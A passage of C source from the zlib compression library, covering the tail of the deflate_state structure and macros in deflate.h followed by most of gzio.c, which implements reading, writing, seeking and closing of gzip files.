
    int   status;        /* as the name implies */

    Bytef *pending_buf;  /* output still pending */

    ulg   pending_buf_size; /* size of pending_buf */

    Bytef *pending_out;  /* next pending byte to output to the stream */

    int   pending;       /* nb of bytes in the pending buffer */

    int   noheader;      /* suppress zlib header and adler32 */

    Byte  data_type;     /* UNKNOWN, BINARY or ASCII */

    Byte  method;        /* STORED (for zip only) or DEFLATED */

    int   last_flush;    /* value of flush param for previous deflate call */



                /* used by deflate.c: */



    uInt  w_size;        /* LZ77 window size (32K by default) */

    uInt  w_bits;        /* log2(w_size)  (8..16) */

    uInt  w_mask;        /* w_size - 1 */



    Bytef *window;

    /* Sliding window. Input bytes are read into the second half of the window,

     * and move to the first half later to keep a dictionary of at least wSize

     * bytes. With this organization, matches are limited to a distance of

     * wSize-MAX_MATCH bytes, but this ensures that IO is always

     * performed with a length multiple of the block size. Also, it limits

     * the window size to 64K, which is quite useful on MSDOS.

     * To do: use the user input buffer as sliding window.

     */



    ulg window_size;

    /* Actual size of window: 2*wSize, except when the user input buffer

     * is directly used as sliding window.

     */



    Posf *prev;

    /* Link to older string with same hash index. To limit the size of this

     * array to 64K, this link is maintained only for the last 32K strings.

     * An index in this array is thus a window index modulo 32K.

     */



    Posf *head; /* Heads of the hash chains or NIL. */



    uInt  ins_h;          /* hash index of string to be inserted */

    uInt  hash_size;      /* number of elements in hash table */

    uInt  hash_bits;      /* log2(hash_size) */

    uInt  hash_mask;      /* hash_size-1 */



    uInt  hash_shift;

    /* Number of bits by which ins_h must be shifted at each input

     * step. It must be such that after MIN_MATCH steps, the oldest

     * byte no longer takes part in the hash key, that is:

     *   hash_shift * MIN_MATCH >= hash_bits

     */



    long block_start;

    /* Window position at the beginning of the current output block. Gets

     * negative when the window is moved backwards.

     */



    uInt match_length;           /* length of best match */

    IPos prev_match;             /* previous match */

    int match_available;         /* set if previous match exists */

    uInt strstart;               /* start of string to insert */

    uInt match_start;            /* start of matching string */

    uInt lookahead;              /* number of valid bytes ahead in window */



    uInt prev_length;

    /* Length of the best match at previous step. Matches not greater than this

     * are discarded. This is used in the lazy match evaluation.

     */



    uInt max_chain_length;

    /* To speed up deflation, hash chains are never searched beyond this

     * length.  A higher limit improves compression ratio but degrades the

     * speed.

     */



    uInt max_lazy_match;

    /* Attempt to find a better match only when the current match is strictly

     * smaller than this value. This mechanism is used only for compression

     * levels >= 4.

     */

#   define max_insert_length  max_lazy_match

    /* Insert new strings in the hash table only if the match length is not

     * greater than this length. This saves time but degrades compression.

     * max_insert_length is used only for compression levels <= 3.

     */



    int level;    /* compression level (1..9) */

    int strategy; /* favor or force Huffman coding*/



    uInt good_match;

    /* Use a faster search when the previous match is longer than this */



    int nice_match; /* Stop searching when current match exceeds this */



                /* used by trees.c: */

    /* Didn't use ct_data typedef below to supress compiler warning */

    struct ct_data_s dyn_ltree[HEAP_SIZE];   /* literal and length tree */

    struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */

    struct ct_data_s bl_tree[2*BL_CODES+1];  /* Huffman tree for bit lengths */



    struct tree_desc_s l_desc;               /* desc. for literal tree */

    struct tree_desc_s d_desc;               /* desc. for distance tree */

    struct tree_desc_s bl_desc;              /* desc. for bit length tree */



    ush bl_count[MAX_BITS+1];

    /* number of codes at each bit length for an optimal tree */



    int heap[2*L_CODES+1];      /* heap used to build the Huffman trees */

    int heap_len;               /* number of elements in the heap */

    int heap_max;               /* element of largest frequency */

    /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used.

     * The same heap array is used to build all trees.

     */



    uch depth[2*L_CODES+1];

    /* Depth of each subtree used as tie breaker for trees of equal frequency

     */



    uchf *l_buf;          /* buffer for literals or lengths */



    uInt  lit_bufsize;

    /* Size of match buffer for literals/lengths.  There are 4 reasons for

     * limiting lit_bufsize to 64K:

     *   - frequencies can be kept in 16 bit counters

     *   - if compression is not successful for the first block, all input

     *     data is still in the window so we can still emit a stored block even

     *     when input comes from standard input.  (This can also be done for

     *     all blocks if lit_bufsize is not greater than 32K.)

     *   - if compression is not successful for a file smaller than 64K, we can

     *     even emit a stored file instead of a stored block (saving 5 bytes).

     *     This is applicable only for zip (not gzip or zlib).

     *   - creating new Huffman trees less frequently may not provide fast

     *     adaptation to changes in the input data statistics. (Take for

     *     example a binary file with poorly compressible code followed by

     *     a highly compressible string table.) Smaller buffer sizes give

     *     fast adaptation but have of course the overhead of transmitting

     *     trees more frequently.

     *   - I can't count above 4

     */



    uInt last_lit;      /* running index in l_buf */



    ushf *d_buf;

    /* Buffer for distances. To simplify the code, d_buf and l_buf have

     * the same number of elements. To use different lengths, an extra flag

     * array would be necessary.

     */



    ulg opt_len;        /* bit length of current block with optimal trees */

    ulg static_len;     /* bit length of current block with static trees */

    uInt matches;       /* number of string matches in current block */

    int last_eob_len;   /* bit length of EOB code for last block */



#ifdef DEBUG

    ulg compressed_len; /* total bit length of compressed file mod 2^32 */

    ulg bits_sent;      /* bit length of compressed data sent mod 2^32 */

#endif



    ush bi_buf;

    /* Output buffer. bits are inserted starting at the bottom (least

     * significant bits).

     */

    int bi_valid;

    /* Number of valid bits in bi_buf.  All bits above the last valid bit

     * are always zero.

     */



} FAR deflate_state;



/* Output a byte on the stream.

 * IN assertion: there is enough room in pending_buf.

 */

#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);}





#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)

/* Minimum amount of lookahead, except at the end of the input file.

 * See deflate.c for comments about the MIN_MATCH+1.

 */



#define MAX_DIST(s)  ((s)->w_size-MIN_LOOKAHEAD)

/* In order to simplify the code, particularly on 16 bit machines, match

 * distances are limited to MAX_DIST instead of WSIZE.

 */



        /* in trees.c */

void _tr_init         OF((deflate_state *s));

int  _tr_tally        OF((deflate_state *s, unsigned dist, unsigned lc));

void _tr_flush_block  OF((deflate_state *s, charf *buf, ulg stored_len,

			  int eof));

void _tr_align        OF((deflate_state *s));

void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len,

                          int eof));



#define d_code(dist) \

   ((dist) < 256 ? _dist_code[dist] : _dist_code[256+((dist)>>7)])

/* Mapping from a distance to a distance code. dist is the distance - 1 and

 * must not have side effects. _dist_code[256] and _dist_code[257] are never

 * used.

 */



#ifndef DEBUG

/* Inline versions of _tr_tally for speed: */



#if defined(GEN_TREES_H) || !defined(STDC)

  extern uch _length_code[];

  extern uch _dist_code[];

#else

  extern const uch _length_code[];

  extern const uch _dist_code[];

#endif



# define _tr_tally_lit(s, c, flush) \

  { uch cc = (c); \

    s->d_buf[s->last_lit] = 0; \

    s->l_buf[s->last_lit++] = cc; \

    s->dyn_ltree[cc].Freq++; \

    flush = (s->last_lit == s->lit_bufsize-1); \

   }

# define _tr_tally_dist(s, distance, length, flush) \

  { uch len = (length); \

    ush dist = (distance); \

    s->d_buf[s->last_lit] = dist; \

    s->l_buf[s->last_lit++] = len; \

    dist--; \

    s->dyn_ltree[_length_code[len]+LITERALS+1].Freq++; \

    s->dyn_dtree[d_code(dist)].Freq++; \

    flush = (s->last_lit == s->lit_bufsize-1); \

  }

#else

# define _tr_tally_lit(s, c, flush) flush = _tr_tally(s, 0, c)

# define _tr_tally_dist(s, distance, length, flush) \

              flush = _tr_tally(s, distance, length) 

#endif



#endif









源码/Zip/gzio.c

/* gzio.c -- IO on .gz files

 * Copyright (C) 1995-2002 Jean-loup Gailly.

 * For conditions of distribution and use, see copyright notice in zlib.h

 *

 * Compile this file with -DNO_DEFLATE to avoid the compression code.

 */



/* @(#) $Id$ */



#include <stdio.h>



#include "zutil.h"



struct internal_state {int dummy;}; /* for buggy compilers */



#ifndef Z_BUFSIZE

#  ifdef MAXSEG_64K

#    define Z_BUFSIZE 4096 /* minimize memory usage for 16-bit DOS */

#  else

#    define Z_BUFSIZE 16384

#  endif

#endif

#ifndef Z_PRINTF_BUFSIZE

#  define Z_PRINTF_BUFSIZE 4096

#endif



#define ALLOC(size) malloc(size)

#define TRYFREE(p) {if (p) free(p);}



static int gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */



/* gzip flag byte */

#define ASCII_FLAG   0x01 /* bit 0 set: file probably ascii text */

#define HEAD_CRC     0x02 /* bit 1 set: header CRC present */

#define EXTRA_FIELD  0x04 /* bit 2 set: extra field present */

#define ORIG_NAME    0x08 /* bit 3 set: original file name present */

#define COMMENT      0x10 /* bit 4 set: file comment present */

#define RESERVED     0xE0 /* bits 5..7: reserved */



typedef struct gz_stream {

    z_stream stream;

    int      z_err;   /* error code for last stream operation */

    int      z_eof;   /* set if end of input file */

    FILE     *file;   /* .gz file */

    Byte     *inbuf;  /* input buffer */

    Byte     *outbuf; /* output buffer */

    uLong    crc;     /* crc32 of uncompressed data */

    char     *msg;    /* error message */

    char     *path;   /* path name for debugging only */

    int      transparent; /* 1 if input file is not a .gz file */

    char     mode;    /* 'w' or 'r' */

    long     startpos; /* start of compressed data in file (header skipped) */

} gz_stream;





local gzFile gz_open      OF((const char *path, const char *mode, int  fd));

local int do_flush        OF((gzFile file, int flush));

local int    get_byte     OF((gz_stream *s));

local void   check_header OF((gz_stream *s));

local int    destroy      OF((gz_stream *s));

local void   putLong      OF((FILE *file, uLong x));

local uLong  getLong      OF((gz_stream *s));



/* ===========================================================================

     Opens a gzip (.gz) file for reading or writing. The mode parameter

   is as in fopen ("rb" or "wb"). The file is given either by file descriptor

   or path name (if fd == -1).

     gz_open return NULL if the file could not be opened or if there was

   insufficient memory to allocate the (de)compression state; errno

   can be checked to distinguish the two cases (if errno is zero, the

   zlib error is Z_MEM_ERROR).

*/

local gzFile gz_open (path, mode, fd)

    const char *path;

    const char *mode;

    int  fd;

{

    int err;

    int level = Z_DEFAULT_COMPRESSION; /* compression level */

    int strategy = Z_DEFAULT_STRATEGY; /* compression strategy */

    char *p = (char*)mode;

    gz_stream *s;

    char fmode[80]; /* copy of mode, without the compression level */

    char *m = fmode;



    if (!path || !mode) return Z_NULL;



    s = (gz_stream *)ALLOC(sizeof(gz_stream));

    if (!s) return Z_NULL;



    s->stream.zalloc = (alloc_func)0;

    s->stream.zfree = (free_func)0;

    s->stream.opaque = (voidpf)0;

    s->stream.next_in = s->inbuf = Z_NULL;

    s->stream.next_out = s->outbuf = Z_NULL;

    s->stream.avail_in = s->stream.avail_out = 0;

    s->file = NULL;

    s->z_err = Z_OK;

    s->z_eof = 0;

    s->crc = crc32(0L, Z_NULL, 0);

    s->msg = NULL;

    s->transparent = 0;



    s->path = (char*)ALLOC(strlen(path)+1);

    if (s->path == NULL) {

        return destroy(s), (gzFile)Z_NULL;

    }

    strcpy(s->path, path); /* do this early for debugging */



    s->mode = '\0';

    do {

        if (*p == 'r') s->mode = 'r';

        if (*p == 'w' || *p == 'a') s->mode = 'w';

        if (*p >= '0' && *p <= '9') {

	    level = *p - '0';

	} else if (*p == 'f') {

	  strategy = Z_FILTERED;

	} else if (*p == 'h') {

	  strategy = Z_HUFFMAN_ONLY;

	} else {

	    *m++ = *p; /* copy the mode */

	}

    } while (*p++ && m != fmode + sizeof(fmode));

    if (s->mode == '\0') return destroy(s), (gzFile)Z_NULL;

    

    if (s->mode == 'w') {

#ifdef NO_DEFLATE

        err = Z_STREAM_ERROR;

#else

        err = deflateInit2(&(s->stream), level,

                           Z_DEFLATED, -MAX_WBITS, DEF_MEM_LEVEL, strategy);

        /* windowBits is passed < 0 to suppress zlib header */



        s->stream.next_out = s->outbuf = (Byte*)ALLOC(Z_BUFSIZE);

#endif

        if (err != Z_OK || s->outbuf == Z_NULL) {

            return destroy(s), (gzFile)Z_NULL;

        }

    } else {

        s->stream.next_in  = s->inbuf = (Byte*)ALLOC(Z_BUFSIZE);



        err = inflateInit2(&(s->stream), -MAX_WBITS);

        /* windowBits is passed < 0 to tell that there is no zlib header.

         * Note that in this case inflate *requires* an extra "dummy" byte

         * after the compressed stream in order to complete decompression and

         * return Z_STREAM_END. Here the gzip CRC32 ensures that 4 bytes are

         * present after the compressed stream.

         */

        if (err != Z_OK || s->inbuf == Z_NULL) {

            return destroy(s), (gzFile)Z_NULL;

        }

    }

    s->stream.avail_out = Z_BUFSIZE;



    errno = 0;

    s->file = fd < 0 ? F_OPEN(path, fmode) : (FILE*)fdopen(fd, fmode);



    if (s->file == NULL) {

        return destroy(s), (gzFile)Z_NULL;

    }

    if (s->mode == 'w') {

        /* Write a very simple .gz header:

         */

        fprintf(s->file, "%c%c%c%c%c%c%c%c%c%c", gz_magic[0], gz_magic[1],

             Z_DEFLATED, 0 /*flags*/, 0,0,0,0 /*time*/, 0 /*xflags*/, OS_CODE);

	s->startpos = 10L;

	/* We use 10L instead of ftell(s->file) to because ftell causes an

         * fflush on some systems. This version of the library doesn't use

         * startpos anyway in write mode, so this initialization is not

         * necessary.

         */

    } else {

	check_header(s); /* skip the .gz header */

	s->startpos = (ftell(s->file) - s->stream.avail_in);

    }

    

    return (gzFile)s;

}



/* ===========================================================================

     Opens a gzip (.gz) file for reading or writing.

*/

gzFile ZEXPORT gzopen (path, mode)

    const char *path;

    const char *mode;

{

    return gz_open (path, mode, -1);

}



/* ===========================================================================

     Associate a gzFile with the file descriptor fd. fd is not dup'ed here

   to mimic the behavio(u)r of fdopen.

*/

gzFile ZEXPORT gzdopen (fd, mode)

    int fd;

    const char *mode;

{

    char name[20];



    if (fd < 0) return (gzFile)Z_NULL;

    sprintf(name, "<fd:%d>", fd); /* for debugging */



    return gz_open (name, mode, fd);

}



/* ===========================================================================

 * Update the compression level and strategy

 */

int ZEXPORT gzsetparams (file, level, strategy)

    gzFile file;

    int level;

    int strategy;

{

    gz_stream *s = (gz_stream*)file;



    if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR;



    /* Make room to allow flushing */

    if (s->stream.avail_out == 0) {



	s->stream.next_out = s->outbuf;

	if (fwrite(s->outbuf, 1, Z_BUFSIZE, s->file) != Z_BUFSIZE) {

	    s->z_err = Z_ERRNO;

	}

	s->stream.avail_out = Z_BUFSIZE;

    }



    return deflateParams (&(s->stream), level, strategy);

}



/* ===========================================================================

     Read a byte from a gz_stream; update next_in and avail_in. Return EOF

   for end of file.

   IN assertion: the stream s has been sucessfully opened for reading.

*/

local int get_byte(s)

    gz_stream *s;

{

    if (s->z_eof) return EOF;

    if (s->stream.avail_in == 0) {

	errno = 0;

	s->stream.avail_in = fread(s->inbuf, 1, Z_BUFSIZE, s->file);

	if (s->stream.avail_in == 0) {

	    s->z_eof = 1;

	    if (ferror(s->file)) s->z_err = Z_ERRNO;

	    return EOF;

	}

	s->stream.next_in = s->inbuf;

    }

    s->stream.avail_in--;

    return *(s->stream.next_in)++;

}



/* ===========================================================================

      Check the gzip header of a gz_stream opened for reading. Set the stream

    mode to transparent if the gzip magic header is not present; set s->err

    to Z_DATA_ERROR if the magic header is present but the rest of the header

    is incorrect.

    IN assertion: the stream s has already been created sucessfully;

       s->stream.avail_in is zero for the first time, but may be non-zero

       for concatenated .gz files.

*/

local void check_header(s)

    gz_stream *s;

{

    int method; /* method byte */

    int flags;  /* flags byte */

    uInt len;

    int c;



    /* Check the gzip magic header */

    for (len = 0; len < 2; len++) {

	c = get_byte(s);

	if (c != gz_magic[len]) {

	    if (len != 0) s->stream.avail_in++, s->stream.next_in--;

	    if (c != EOF) {

		s->stream.avail_in++, s->stream.next_in--;

		s->transparent = 1;

	    }

	    s->z_err = s->stream.avail_in != 0 ? Z_OK : Z_STREAM_END;

	    return;

	}

    }

    method = get_byte(s);

    flags = get_byte(s);

    if (method != Z_DEFLATED || (flags & RESERVED) != 0) {

	s->z_err = Z_DATA_ERROR;

	return;

    }



    /* Discard time, xflags and OS code: */

    for (len = 0; len < 6; len++) (void)get_byte(s);



    if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */

	len  =  (uInt)get_byte(s);

	len += ((uInt)get_byte(s))<<8;

	/* len is garbage if EOF but the loop below will quit anyway */

	while (len-- != 0 && get_byte(s) != EOF) ;

    }

    if ((flags & ORIG_NAME) != 0) { /* skip the original file name */

	while ((c = get_byte(s)) != 0 && c != EOF) ;

    }

    if ((flags & COMMENT) != 0) {   /* skip the .gz file comment */

	while ((c = get_byte(s)) != 0 && c != EOF) ;

    }

    if ((flags & HEAD_CRC) != 0) {  /* skip the header crc */

	for (len = 0; len < 2; len++) (void)get_byte(s);

    }

    s->z_err = s->z_eof ? Z_DATA_ERROR : Z_OK;

}



 /* ===========================================================================

 * Cleanup then free the given gz_stream. Return a zlib error code.

   Try freeing in the reverse order of allocations.

 */

local int destroy (s)

    gz_stream *s;

{

    int err = Z_OK;



    if (!s) return Z_STREAM_ERROR;



    TRYFREE(s->msg);



    if (s->stream.state != NULL) {

	if (s->mode == 'w') {

#ifdef NO_DEFLATE

	    err = Z_STREAM_ERROR;

#else

	    err = deflateEnd(&(s->stream));

#endif

	} else if (s->mode == 'r') {

	    err = inflateEnd(&(s->stream));

	}

    }

    if (s->file != NULL && fclose(s->file)) {

#ifdef ESPIPE

	if (errno != ESPIPE) /* fclose is broken for pipes in HP/UX */

#endif

	    err = Z_ERRNO;

    }

    if (s->z_err < 0) err = s->z_err;



    TRYFREE(s->inbuf);

    TRYFREE(s->outbuf);

    TRYFREE(s->path);

    TRYFREE(s);

    return err;

}



/* ===========================================================================

     Reads the given number of uncompressed bytes from the compressed file.

   gzread returns the number of bytes actually read (0 for end of file).

*/

int ZEXPORT gzread (file, buf, len)

    gzFile file;

    voidp buf;

    unsigned len;

{

    gz_stream *s = (gz_stream*)file;

    Bytef *start = (Bytef*)buf; /* starting point for crc computation */

    Byte  *next_out; /* == stream.next_out but not forced far (for MSDOS) */



    if (s == NULL || s->mode != 'r') return Z_STREAM_ERROR;



    if (s->z_err == Z_DATA_ERROR || s->z_err == Z_ERRNO) return -1;

    if (s->z_err == Z_STREAM_END) return 0;  /* EOF */



    next_out = (Byte*)buf;

    s->stream.next_out = (Bytef*)buf;

    s->stream.avail_out = len;



    while (s->stream.avail_out != 0) {



	if (s->transparent) {

	    /* Copy first the lookahead bytes: */

	    uInt n = s->stream.avail_in;

	    if (n > s->stream.avail_out) n = s->stream.avail_out;

	    if (n > 0) {

		zmemcpy(s->stream.next_out, s->stream.next_in, n);

		next_out += n;

		s->stream.next_out = next_out;

		s->stream.next_in   += n;

		s->stream.avail_out -= n;

		s->stream.avail_in  -= n;

	    }

	    if (s->stream.avail_out > 0) {

		s->stream.avail_out -= fread(next_out, 1, s->stream.avail_out,

					     s->file);

	    }

	    len -= s->stream.avail_out;

	    s->stream.total_in  += (uLong)len;

	    s->stream.total_out += (uLong)len;

            if (len == 0) s->z_eof = 1;

	    return (int)len;

	}

        if (s->stream.avail_in == 0 && !s->z_eof) {



            errno = 0;

            s->stream.avail_in = fread(s->inbuf, 1, Z_BUFSIZE, s->file);

            if (s->stream.avail_in == 0) {

                s->z_eof = 1;

		if (ferror(s->file)) {

		    s->z_err = Z_ERRNO;

		    break;

		}

            }

            s->stream.next_in = s->inbuf;

        }

        s->z_err = inflate(&(s->stream), Z_NO_FLUSH);



	if (s->z_err == Z_STREAM_END) {

	    /* Check CRC and original size */

	    s->crc = crc32(s->crc, start, (uInt)(s->stream.next_out - start));

	    start = s->stream.next_out;



	    if (getLong(s) != s->crc) {

		s->z_err = Z_DATA_ERROR;

	    } else {

	        (void)getLong(s);

                /* The uncompressed length returned by above getlong() may

                 * be different from s->stream.total_out) in case of

		 * concatenated .gz files. Check for such files:

		 */

		check_header(s);

		if (s->z_err == Z_OK) {

		    uLong total_in = s->stream.total_in;

		    uLong total_out = s->stream.total_out;



		    inflateReset(&(s->stream));

		    s->stream.total_in = total_in;

		    s->stream.total_out = total_out;

		    s->crc = crc32(0L, Z_NULL, 0);

		}

	    }

	}

	if (s->z_err != Z_OK || s->z_eof) break;

    }

    s->crc = crc32(s->crc, start, (uInt)(s->stream.next_out - start));



    return (int)(len - s->stream.avail_out);

}





/* ===========================================================================

      Reads one byte from the compressed file. gzgetc returns this byte

   or -1 in case of end of file or error.

*/

int ZEXPORT gzgetc(file)

    gzFile file;

{

    unsigned char c;



    return gzread(file, &c, 1) == 1 ? c : -1;

}





/* ===========================================================================

      Reads bytes from the compressed file until len-1 characters are

   read, or a newline character is read and transferred to buf, or an

   end-of-file condition is encountered.  The string is then terminated

   with a null character.

      gzgets returns buf, or Z_NULL in case of error.



      The current implementation is not optimized at all.

*/

char * ZEXPORT gzgets(file, buf, len)

    gzFile file;

    char *buf;

    int len;

{

    char *b = buf;

    if (buf == Z_NULL || len <= 0) return Z_NULL;



    while (--len > 0 && gzread(file, buf, 1) == 1 && *buf++ != '\n') ;

    *buf = '\0';

    return b == buf && len > 0 ? Z_NULL : b;

}





#ifndef NO_DEFLATE

/* ===========================================================================

     Writes the given number of uncompressed bytes into the compressed file.

   gzwrite returns the number of bytes actually written (0 in case of error).

*/

int ZEXPORT gzwrite (file, buf, len)

    gzFile file;

    const voidp buf;

    unsigned len;

{

    gz_stream *s = (gz_stream*)file;



    if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR;



    s->stream.next_in = (Bytef*)buf;

    s->stream.avail_in = len;



    while (s->stream.avail_in != 0) {



        if (s->stream.avail_out == 0) {



            s->stream.next_out = s->outbuf;

            if (fwrite(s->outbuf, 1, Z_BUFSIZE, s->file) != Z_BUFSIZE) {

                s->z_err = Z_ERRNO;

                break;

            }

            s->stream.avail_out = Z_BUFSIZE;

        }

        s->z_err = deflate(&(s->stream), Z_NO_FLUSH);

        if (s->z_err != Z_OK) break;

    }

    s->crc = crc32(s->crc, (const Bytef *)buf, len);



    return (int)(len - s->stream.avail_in);

}



/* ===========================================================================

     Converts, formats, and writes the args to the compressed file under

   control of the format string, as in fprintf. gzprintf returns the number of

   uncompressed bytes actually written (0 in case of error).

*/

#ifdef STDC

#include <stdarg.h>



int ZEXPORTVA gzprintf (gzFile file, const char *format, /* args */ ...)

{

    char buf[Z_PRINTF_BUFSIZE];

    va_list va;

    int len;



    va_start(va, format);

#ifdef HAS_vsnprintf

    (void)vsnprintf(buf, sizeof(buf), format, va);

#else

    (void)vsprintf(buf, format, va);

#endif

    va_end(va);

    len = strlen(buf); /* some *sprintf don't return the nb of bytes written */

    if (len <= 0) return 0;



    return gzwrite(file, buf, (unsigned)len);

}

#else /* not ANSI C */



int ZEXPORTVA gzprintf (file, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,

	               a11, a12, a13, a14, a15, a16, a17, a18, a19, a20)

    gzFile file;

    const char *format;

    int a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,

	a11, a12, a13, a14, a15, a16, a17, a18, a19, a20;

{

    char buf[Z_PRINTF_BUFSIZE];

    int len;



#ifdef HAS_snprintf

    snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,

	     a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);

#else

    sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,

	    a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);

#endif

    len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */

    if (len <= 0) return 0;



    return gzwrite(file, buf, len);

}

#endif



/* ===========================================================================

      Writes c, converted to an unsigned char, into the compressed file.

   gzputc returns the value that was written, or -1 in case of error.

*/

int ZEXPORT gzputc(file, c)

    gzFile file;

    int c;

{

    unsigned char cc = (unsigned char) c; /* required for big endian systems */



    return gzwrite(file, &cc, 1) == 1 ? (int)cc : -1;

}





/* ===========================================================================

      Writes the given null-terminated string to the compressed file, excluding

   the terminating null character.

      gzputs returns the number of characters written, or -1 in case of error.

*/

int ZEXPORT gzputs(file, s)

    gzFile file;

    const char *s;

{

    return gzwrite(file, (char*)s, (unsigned)strlen(s));

}





/* ===========================================================================

     Flushes all pending output into the compressed file. The parameter

   flush is as in the deflate() function.

*/

local int do_flush (file, flush)

    gzFile file;

    int flush;

{

    uInt len;

    int done = 0;

    gz_stream *s = (gz_stream*)file;



    if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR;



    s->stream.avail_in = 0; /* should be zero already anyway */



    for (;;) {

        len = Z_BUFSIZE - s->stream.avail_out;



        if (len != 0) {

            if ((uInt)fwrite(s->outbuf, 1, len, s->file) != len) {

                s->z_err = Z_ERRNO;

                return Z_ERRNO;

            }

            s->stream.next_out = s->outbuf;

            s->stream.avail_out = Z_BUFSIZE;

        }

        if (done) break;

        s->z_err = deflate(&(s->stream), flush);



	/* Ignore the second of two consecutive flushes: */

	if (len == 0 && s->z_err == Z_BUF_ERROR) s->z_err = Z_OK;



        /* deflate has finished flushing only when it hasn't used up

         * all the available space in the output buffer: 

         */

        done = (s->stream.avail_out != 0 || s->z_err == Z_STREAM_END);

 

        if (s->z_err != Z_OK && s->z_err != Z_STREAM_END) break;

    }

    return  s->z_err == Z_STREAM_END ? Z_OK : s->z_err;

}



int ZEXPORT gzflush (file, flush)

     gzFile file;

     int flush;

{

    gz_stream *s = (gz_stream*)file;

    int err = do_flush (file, flush);



    if (err) return err;

    fflush(s->file);

    return  s->z_err == Z_STREAM_END ? Z_OK : s->z_err;

}

#endif /* NO_DEFLATE */



/* ===========================================================================

      Sets the starting position for the next gzread or gzwrite on the given

   compressed file. The offset represents a number of bytes in the

      gzseek returns the resulting offset location as measured in bytes from

   the beginning of the uncompressed stream, or -1 in case of error.

      SEEK_END is not implemented, returns error.

      In this version of the library, gzseek can be extremely slow.

*/

z_off_t ZEXPORT gzseek (file, offset, whence)

    gzFile file;

    z_off_t offset;

    int whence;

{

    gz_stream *s = (gz_stream*)file;



    if (s == NULL || whence == SEEK_END ||

	s->z_err == Z_ERRNO || s->z_err == Z_DATA_ERROR) {

	return -1L;

    }

    

    if (s->mode == 'w') {

#ifdef NO_DEFLATE

	return -1L;

#else

	if (whence == SEEK_SET) {

	    offset -= s->stream.total_in;

	}

	if (offset < 0) return -1L;



	/* At this point, offset is the number of zero bytes to write. */

	if (s->inbuf == Z_NULL) {

	    s->inbuf = (Byte*)ALLOC(Z_BUFSIZE); /* for seeking */

	    zmemzero(s->inbuf, Z_BUFSIZE);

	}

	while (offset > 0)  {

	    uInt size = Z_BUFSIZE;

	    if (offset < Z_BUFSIZE) size = (uInt)offset;



	    size = gzwrite(file, s->inbuf, size);

	    if (size == 0) return -1L;



	    offset -= size;

	}

	return (z_off_t)s->stream.total_in;

#endif

    }

    /* Rest of function is for reading only */



    /* compute absolute position */

    if (whence == SEEK_CUR) {

	offset += s->stream.total_out;

    }

    if (offset < 0) return -1L;



    if (s->transparent) {

	/* map to fseek */

	s->stream.avail_in = 0;

	s->stream.next_in = s->inbuf;

        if (fseek(s->file, offset, SEEK_SET) < 0) return -1L;



	s->stream.total_in = s->stream.total_out = (uLong)offset;

	return offset;

    }



    /* For a negative seek, rewind and use positive seek */

    if ((uLong)offset >= s->stream.total_out) {

	offset -= s->stream.total_out;

    } else if (gzrewind(file) < 0) {

	return -1L;

    }

    /* offset is now the number of bytes to skip. */



    if (offset != 0 && s->outbuf == Z_NULL) {

	s->outbuf = (Byte*)ALLOC(Z_BUFSIZE);

    }

    while (offset > 0)  {

	int size = Z_BUFSIZE;

	if (offset < Z_BUFSIZE) size = (int)offset;



	size = gzread(file, s->outbuf, (uInt)size);

	if (size <= 0) return -1L;

	offset -= size;

    }

    return (z_off_t)s->stream.total_out;

}



/* ===========================================================================

     Rewinds input file. 

*/

int ZEXPORT gzrewind (file)

    gzFile file;

{

    gz_stream *s = (gz_stream*)file;

    

    if (s == NULL || s->mode != 'r') return -1;



    s->z_err = Z_OK;

    s->z_eof = 0;

    s->stream.avail_in = 0;

    s->stream.next_in = s->inbuf;

    s->crc = crc32(0L, Z_NULL, 0);

	

    if (s->startpos == 0) { /* not a compressed file */

	rewind(s->file);

	return 0;

    }



    (void) inflateReset(&s->stream);

    return fseek(s->file, s->startpos, SEEK_SET);

}



/* ===========================================================================

     Returns the starting position for the next gzread or gzwrite on the

   given compressed file. This position represents a number of bytes in the

   uncompressed data stream.

*/

z_off_t ZEXPORT gztell (file)

    gzFile file;

{

    return gzseek(file, 0L, SEEK_CUR);

}



/* ===========================================================================

     Returns 1 when EOF has previously been detected reading the given

   input stream, otherwise zero.

*/

int ZEXPORT gzeof (file)

    gzFile file;

{

    gz_stream *s = (gz_stream*)file;

    

    return (s == NULL || s->mode != 'r') ? 0 : s->z_eof;

}



/* ===========================================================================

   Outputs a long in LSB order to the given file

*/

local void putLong (file, x)

    FILE *file;

    uLong x;

{

    int n;

    for (n = 0; n < 4; n++) {

        fputc((int)(x & 0xff), file);

        x >>= 8;

    }

}



/* ===========================================================================

   Reads a long in LSB order from the given gz_stream. Sets z_err in case

   of error.

*/

local uLong getLong (s)

    gz_stream *s;

{

    uLong x = (uLong)get_byte(s);

    int c;



    x += ((uLong)get_byte(s))<<8;

    x += ((uLong)get_byte(s))<<16;

    c = get_byte(s);

    if (c == EOF) s->z_err = Z_DATA_ERROR;

    x += ((uLong)c)<<24;

    return x;

}



/* ===========================================================================

     Flushes all pending output if necessary, closes the compressed file

   and deallocates all the (de)compression state.

*/

int ZEXPORT gzclose (file)

    gzFile file;

{

    int err;

    gz_stream *s = (gz_stream*)file;



    if (s == NULL) return Z_STREAM_ERROR;



    if (s->mode == 'w') {

#ifdef NO_DEFLATE

	return Z_STREAM_ERROR;

#else

        err = do_flush (file, Z_FINISH);

        if (err != Z_OK) return destroy((gz_stream*)file);



        putLong (s->file, s->crc);

        putLong (s->file, s->stream.total_in);

#endif

    }

    return destroy((gz_stream*)file);

}



/* ===========================================================================

     Returns the error message for the last error which occured on the

   given compressed file. errnum is set to zlib error number. If an

   error occured in the file system and not in the compression library,

   errnum is set to Z_ERRNO and the application may consult errno

   to get the exact error code.

*/

